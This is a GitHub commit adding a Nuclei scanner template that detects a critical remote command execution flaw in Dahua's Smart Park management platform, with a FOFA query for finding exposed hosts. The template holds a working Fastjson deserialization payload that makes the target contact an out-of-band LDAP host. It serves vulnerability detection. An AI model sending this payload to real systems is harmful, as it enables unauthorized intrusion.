Merge pull request #8755 from projectdiscovery/dahua-wpms-rce

Create dahua-wpms-rce.yaml
patch-1
Ritik Chaddha 2023-12-04 13:35:14 +05:30 committed by GitHub
commit d66d511609
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 33 additions and 0 deletions

View File

@ -0,0 +1,33 @@
id: dahua-wpms-rce
info:
name: Dahua Smart Park Integrated Management Platform - Remote Command Execution
author: DhiyaneshDK
severity: critical
reference:
- https://github.com/Vme18000yuan/FreePOC/blob/master/poc/pocsuite/dahua-zhyq-deleteftp-rce.py
metadata:
max-request: 1
fofa-query: body="src=\"/WPMS/asset/common/js/jsencrypt.min.js\""
tags: rce,dahua,wpms
http:
- raw:
- |
POST /CardSolution/card/accessControl/swingCardRecord/deleteFtp HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"ftpUrl":{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://{{interactsh-url}}","autoCommit":true}}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "autoCommit"
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"